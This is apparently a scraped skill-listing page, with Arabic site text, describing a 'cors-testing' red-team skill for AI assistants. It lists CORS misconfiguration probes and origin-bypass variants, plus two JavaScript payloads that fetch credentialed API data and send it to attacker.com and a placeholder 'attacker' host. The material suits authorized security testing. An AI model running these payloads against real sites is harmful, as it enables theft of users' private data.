بنقرة واحدة
cors-testing
CORS misconfiguration testing for data theft and access control bypass
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
CORS misconfiguration testing for data theft and access control bypass
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
| name | cors-testing |
| description | CORS misconfiguration testing for data theft and access control bypass |
| origin | RedteamOpencode |
Access-Control-Allow-Origin headerrun_tool curl (send crafted Origin headers)Access-Control-Allow-Origin, Access-Control-Allow-CredentialsAccess-Control-Allow-Methods and Access-Control-Allow-HeadersOrigin: https://evil.com → does response reflect it in ACAO?Origin: https://evil.com + Access-Control-Allow-Credentials: true = CriticalOrigin: null → check if Access-Control-Allow-Origin: nulldata: URIs, local files<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch('https://target/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker/log?'+JSON.stringify(d)))</script>">Origin: https://sub.target.com — subdomain trustOrigin: https://target.com.evil.com — suffix match flawOrigin: https://eviltarget.com — prefix match flawOrigin: https://target.com.evil.com — regex bypassOrigin: https://target.com%60.evil.com — encoded charactersAccess-Control-Allow-Origin: * — public access (lower severity)* with Access-Control-Allow-Credentials: true — browsers block this, but checktext/plain to avoid preflighthtml <script> fetch('https://target.com/api/sensitive-data', { credentials: 'include' }) .then(r => r.json()) .then(data => { fetch('https://attacker.com/steal?d=' + btoa(JSON.stringify(data))); }); </script>